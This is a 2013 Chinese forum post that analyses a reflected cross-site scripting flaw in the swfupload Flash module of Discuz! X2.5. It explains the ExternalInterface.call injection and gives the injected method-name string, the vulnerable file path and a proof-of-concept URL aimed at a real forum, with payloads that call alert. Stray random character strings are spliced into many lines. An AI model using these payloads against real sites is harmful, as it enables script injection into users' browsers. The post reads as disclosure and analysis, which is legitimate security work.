找回密码
 立即注册
查看: 2921|回复: 0
打印 上一主题 下一主题

Flash应用安全系列[2]--Discuz! X2.5反射型跨站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:50:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
上回我们说
+ m5 S. F0 L! I
! W0 G1 v  n  B2 Z( xflash.external.ExternalInterface.call($methodName, $parameter)
% I6 W! X! ?- {6 v/ r- L在浏览器中执行的是
- t- D- h2 y# q6 M  j0 U
9 z9 t: z2 C3 K. itry { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
3 R2 ]+ \! F. i+ R  K. S7 J6 V对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
% M* Q! I' X0 W
6 \/ g) M$ e  [# bflash.external.ExternalInterface.call("object."+$methodName, $parameter)
/ }' [* S( P% l* D" `$methodName = a())}catch(e){alert(/xss/)}//8 V8 X$ [4 D( Q3 B
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
+ k3 b/ J% j% K" u- n# q1 _! S6 G, M
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
& c/ d: O# @& p4 e7 o) z( ~. M* }- G' x
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )
! v( P. F8 s3 N+ N" F杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。7 s( u; q+ ~" X) D1 ^2 J9 b

( K- j8 T  W: V1 [. E5 b* t1 |- t; O* ?5 W/ o3 _
0 o! ?4 s8 G5 R; E( J8 W; i5 j
漏洞文件:upload\static\image\common\swfupload.swf
; u5 [! B! w+ ~" h2 B: r& H$ y9 e& @2 e% R  t% l$ ^" C( j6 h6 d, T/ A
原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf+ F) K( e3 L+ K3 g9 k

. b5 C5 A: a4 i: A( }
2 j4 N: `7 n7 s漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//" b5 l$ Z  C$ u6 u; B: V) w

2 D# U9 O9 Q; R; K1 j0 m9 ^7 A9 N& b" i& Y. F, g; ~: i& f# q6 A
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表